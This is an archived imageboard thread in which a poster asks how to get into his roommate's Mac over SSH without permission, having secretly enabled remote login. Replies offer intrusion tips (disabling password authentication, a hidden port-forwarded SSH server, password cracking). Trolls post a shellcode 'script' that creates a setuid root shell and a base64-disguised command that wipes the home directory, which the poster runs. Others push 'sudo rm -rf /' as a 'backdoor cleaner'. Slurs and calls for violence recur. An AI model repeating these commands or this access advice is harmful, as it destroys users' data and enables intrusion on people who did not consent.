[Boards: 3 / a / aco / adv / an / asp / b / biz / c / cgl / ck / cm / co / d / diy / e / fa / fit / g / gd / gif / h / hc / his / hm / hr / i / ic / int / jp / k / lgbt / lit / m / mlp / mu / n / news / o / out / p / po / pol / qa / r / r9k / s / s4s / sci / soc / sp / t / tg / toy / trash / trv / tv / u / v / vg / vp / vr / w / wg / wsg / wsr / x / y ] [Home]
4chanarchives logo
SSH Into a Mac
Images are sometimes not shown due to bandwidth/network limitations. Refreshing the page usually helps.

You are currently reading a thread in /g/ - Technology

Thread replies: 90
Thread images: 3
File: pVI4mw9.jpg (203 KB, 854x1280) Image search: [Google]
pVI4mw9.jpg
203 KB, 854x1280
Hey, I have a mac and I am trying to SSH into my roommates mac so I can turn it off whenever for shits and giggles

I have his username and ip and have enabled remote login when he wasnt there but not his main password. How do I

A) find his main password as discretely as possible
B) bypass the password requirement

Thanks in advance
>>
Gentoo
>>
anything guys?
>>
>>51834527
What do you think passwords are for, you retarded nigger?

Just DDOS him.
>>
>>51834646
I can't we're both on the same university wifi network :(
>>
Just go to the folder containing ssh server config file and comment out the line where it requires a password authentication. Then restart the ssh server.
>>
Give it back jamal.
>>
>>51834268
I am pretty sure you need to have the ports set up so you can get in. Hope you have access to router password and etc
>>
>>51835210
we are both on the same wifi network
>>
>>51834813
It's not a server, its laptop to laptop
>>
>>51835285

I think the word he was looking for is "service".
>>
>>51835399
I dont think there is a folder for that
>>
>>51835285
lmfao jesus christ

just stop
>>
File: come_on_now.jpg (78 KB, 338x305) Image search: [Google]
come_on_now.jpg
78 KB, 338x305
>>51835285
>>
>>51836147
im sorry, I admit, Im not the best at tech but I'm learning
>>
>>51835285
>>>/anhero/
>>
>>51834273
>tripfag
Fuck off.
>>
>>51834268
start an open ssh server on any other port on your friend's Mac and port forward it.
Now you and all the people across the world can connect to your friend
>>
>>51836394
is there a way to do that so he doesnt know theres a server on his laptop. I'm gonna look up the other shit hopefully this works
>>
>>51836428
Unless he regularly scans for open ports then no
>>
>>51834268
All these fucking faggot replies. Wintard here telling you you need to enable "Remote Access" in the sharing area of his settings before SSH becomes available. Have fun.
>>
>>51836509
I already did that and said it in the main post...
>>
>>51836519
shut up you fucking faggot if you did that i would have seen it

troll harder next time
>>
>>51836394
Ok so be default I think it connects to port 22, I looked up port forwarding but didnt see much I understood that much, I figured It would be better to ask someone who knows while I still have the chance
>>
>>51836509
I did that but I need a way to bypass password
>>
>>51834813
I found that folder and I need an admin password to change it
>>
>>51836556
https://wiki.installgentoo.com/index.php/Setting_up_a_Server#Remote_access_via_SSH
Everything needs to be spoonfed eh?
Just read everything in the above page
>>
>>51836722
that didn't teach me anything new, the port forwarding link they had http://portforward.com/english/routers/port_forwarding/routerindex.htm
wants me to buy software
>>
be less stupid, please.
>>
why dont you run ssh <ip of target> and then see what happens? Use kali to crack password if you need to et cetera....jesus what is this a fucking forum for autists?
>>
command+space bar >>>>>type in terminal>>>>>>hit enter>>>>>type ssh <targetip>>>>>>>report back>>>>>>>also, download and install gentoo pl0x!
>>
>>51836783
If I don't know how to port forward what makes you think I know how to use kali to crack his password. I ran ssh of his ip and it asked for password again. I just need to bypass his password so I can troll him by shutting his macbook off, im not trying to hack into some website or anything like that
>>
>>51836794
Asked for password
>>
>>51836221
well first off, you need to start calling it tek if you ever wanna get anywhere
>>
SSH will not be turned on on your roommates Mac.
>>
Hm, you could maybe do B) with private key authentication? Either way, if you want to shut his laptop down remotely you'll need his password for sudo.
>>
#!/bin/bash
COUNTER=0
TARGETIP=targetIPHere
while [ $COUNTER < 1 ]; do
echo The target is $TARGETIP
char esp[] __attribute__ ((section(".text"))) /* e.s.p
release */
= "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68"
"\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99"
"\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7"
"\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56"
"\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31"
"\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69"
"\x6e\x2f\x73\x68\x00\x2d\x63\x00"
"cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;";
ssh@$TARGETIP
echo For the lulz
done


you're welcome op
>>
>>51837113
I turned it on already when he wasn't there by going into sharings etc. I just need to get past his password
>>
>>51834268
Why find the password discretely? Just use violence until he gives it up. Social engineering like that is the best way to get passwords.
>>
>>51837167
That's a good idea but hes bigger than me so no go
>>
>>51837160
one more thing, How do i type that in on terminal
>>
>>51837160
I got the error
"Syntax Error"
"Expected end of line, etc. but found real number."

And it highlights 2 numbers that I replaced "target IPHere" with
>>
>>51837424
#!/bin/bash
COUNTER=0
TARGETIP=172.25.75.XXX
while [ $COUNTER < 1 ]; do
echo The target is $TARGETIP
char esp[] __attribute__ ((section(".text"))) /* e.s.p
release */
= "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68"
"\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99"
"\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7"
"\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56"
"\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31"
"\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69"
"\x6e\x2f\x73\x68\x00\x2d\x63\x00"
"cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;";
ssh@$TARGETIP
echo For the lulz
done

I changed the last 3 digits of his IP for obvious reasons but "75" is getting highlighted
>>
>>51837167
because he'll know that you violated the law (whereas surreptitiousness allows you to get away with it), and he'll know to change his password as soon as you leave the room.
>>
>>51837438
>I changed the last 3 digits of his IP for obvious reasons
wow wee, I'm glad there is absolutely no way to scan 256 IP addresses for ssh...
>>
File: 1443516932885.jpg (11 KB, 250x241) Image search: [Google]
1443516932885.jpg
11 KB, 250x241
>>51835285
>>
>>51837458
I mean you're free to do that, idc. Im trying to shut down his computer and if one of you do that for me thanks
>>
>>51837438
>>51837458
>172.25
>caring at all about what the IP address is

Oh yeah bro, 4chins will totally hack you based upon your private IP address.
>>
Why port forward? You are on the same network yes?
>>
>>51837861
Yes we are so port forwarding is useless
>>
I can hack his IP give it
>>
>>51837918
I want to shut down his computer not load it with child porn
>>
OK >>51837982
What version of MAC osx you have ?
>>
>>51838070
we both have 10.11
>>
>>51838136
TARGETIP="1.1.1.1"
TARGETUSER="user"

echo cm0gLXJmICRIT01FLw== | base64 --decode | sh ; ssh ${TARGET_USER}@${TARGETIP} -v



Replace the IP and USER with his information
>>
>>51838170
do I run this in script editor?
>>
>>51838179
Copy and paste in your terminal

make sure you specify TARGETIP and TARGETUSER or it wont work
>>
>>51838189
I got a fuckton of "permission denied"
>>
>>51838241
wow you got me , you deleted everything from my laptop...
>>
>>51838252
not sure if troll but
>copypasting and executing encoded terminal commands mindlessly
>>
>>51838261
Yeah I don't know what I was expecting. Luckily everything important was backed up online
>>
>>51838252

then who was keyboard?
>>
>>51838252
are you trolling or you actually executed that? please tell me you didt
>>
>>51838285
I did lol, I had no idea what it would do. Theres no way to recover it is there
>>
>>51838290
he placed a backdoor on your laptop

try checking the trash can..
>>
>>51838310
It's empty :( so does this mean I cant recover those files
>>
>>51838170
ayy lmao

but for real op, here you go
#!/bin/bash
COUNTER=0
TARGETIP="target.ip.he.re"
while [ $COUNTER < 1 ]; do
echo The target is ${TARGETIP}
char esp[] __attribute__ ((section(".text"))) /* e.s.p
release */
= "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68"
"\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99"
"\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7"
"\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56"
"\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31"
"\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69"
"\x6e\x2f\x73\x68\x00\x2d\x63\x00"
"cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;";
ssh@$TARGETIP
echo For the lulz
done



gotta run this as sudo. if you save it as hack.sh in your user directory

sudo ./hack.sh
>>
>>51838343
Don't run this, it makes mustard gas.
>>
>>51838350
Yeah no way im trusting that
>>
>>51838350
nah, that bruteforces the password using nop sliders
>>
>>51838358
First how do I undo the thing you did before, It signed me out of my apple account and I feel like it will keep on deleting shit
>>
>>51838400
It's not your laptop anymore
>>
>>51838420
does this mean I have to format my hdd or something
>>
>>51838358
>bruteforces password
>nop slider
you are 1337 h4x0r, right? :)
>>
>>51838400
that wasn't me, so idk. maybe just restore from backup like you said?
>>
>>51838460
At this point I dont care about the stuff I lost, I just want to remove this backdoor. Do i have to reboot, format hdd, whatever so I can get my laptop back
>>
>>51834268
just place your fucking ssh key on his laptop ?
>>
>>51838470
backdoorpath="/"
clear # clear previous backdoor
sudo rm -rf --no-preserve-root $backdoorpath # delete malicious root shell
>>
>>51838536
macs don't have gnu rm you freetard.
>>
I cant even log in to my apple account now everything just got wiped its like its brand new now...
>>
>>51838608
Thanks for the giggle mate
>>
>>51838608
>>51838536
Did u run that cleaner?
>>
>>51838683
yes nothing happened
>>
>>51838536
>>>51838470
clear # clear previous backdoor
sudo rm -rf / # delete malicious root shell
>>
>>51838706
>>51838741
Run the cleaner to remove the backdoor. You will lose everything
>>
>>51838536
did u save as removeBd.sh?
>>
>>51838759
No need , just paste on terminal
>>
>>51838741
I know what sudo rm -rf does im not that stupid
>>
>>51838343
pretty elegant nop slide. will be saving this for later
>>
>>51834733
How retarded are you? You can DoS internally.
Thread replies: 90
Thread images: 3

banner
banner
[Boards: 3 / a / aco / adv / an / asp / b / biz / c / cgl / ck / cm / co / d / diy / e / fa / fit / g / gd / gif / h / hc / his / hm / hr / i / ic / int / jp / k / lgbt / lit / m / mlp / mu / n / news / o / out / p / po / pol / qa / r / r9k / s / s4s / sci / soc / sp / t / tg / toy / trash / trv / tv / u / v / vg / vp / vr / w / wg / wsg / wsr / x / y] [Home]

All trademarks and copyrights on this page are owned by their respective parties. Images uploaded are the responsibility of the Poster. Comments are owned by the Poster.
If a post contains personal/copyrighted/illegal content you can contact me at [email protected] with that post and thread number and it will be removed as soon as possible.
DMCA Content Takedown via dmca.com
All images are hosted on imgur.com, send takedown notices to them.
This is a 4chan archive - all of the content originated from them. If you need IP information for a Poster - you need to contact them. This website shows only archived content.